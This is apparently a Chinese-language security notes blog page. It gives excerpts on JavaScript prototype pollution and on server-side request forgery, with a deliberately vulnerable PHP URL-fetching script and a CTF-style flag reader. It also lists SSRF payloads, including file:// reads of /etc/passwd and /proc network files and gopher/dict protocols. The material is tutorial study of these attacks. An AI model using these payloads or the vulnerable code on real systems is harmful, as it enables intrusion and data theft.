Notes Site.
post @ 2024-02-02

JavaScript Prototype Pollution

JavaScript中的原型链污染是指攻击者通过覆盖或修改对象的原型链上的属性,从而改变对象的行为或者访问不应该访问的属性或方法

原型链污染通常发生在JavaScript对象的继承机制中,因为JavaScript是一种基于原型的语言,对象会继承其原型链上的所有属性和方法

JS原型链污染分,客户端原型污染、服务端原型污染

JavaScript 原型

JavaScript 中的原型是一个对象,它在创建新对象时被用来作为新对象的初始属性

1
2
3
4
5
6
7
username = ""
username.__proto__
username['__proto__']

username.__proto__ // String.prototype
username.__proto__.__proto__ // Object.prototype
username.__proto__.__proto__.__proto__ // null

JavaScript 原型链

原型链实现继承

当一个新对象被创建时,它会从构造函数的 prototype 属性指向的对象那里继承属性和方法

Read More

img

example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# index.php
<?php
highlight_file(__FILE__);
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo $result;
}
$url = $_GET['url'];
curl($url);
1
2
3
4
5
6
7
8
9
10
11
12
13
# ssrf.php
<?php
$ip = $_SERVER["REMOTE_ADDR"];
if($ip === "127.0.0.1"){
if($_GET["passwd"] === "adminTrue"){
readfile("/flag");
}
else{
echo "no";
}
}else{
echo "not 127.0.0.1";
}

payload

1
2
?url=http://127.0.0.1/ssrf.php?passwd=adminTrue
...

利用协议

1
2
3
4
5
6
7
8
file://
dict://
gopher://
ftp://
sftp://
ldap://
tftp://
...

file://

1
2
3
4
5
6
file://
file:///etc/passwd
file:///etc/hosts
file:///proc/net/arp
file:///proc/net/fib_trie
...
Read More
⬆︎TOP